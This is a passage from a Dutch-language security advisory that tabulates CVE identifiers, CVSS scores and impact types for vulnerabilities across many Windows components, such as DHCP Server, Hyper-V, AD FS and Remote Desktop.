7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | 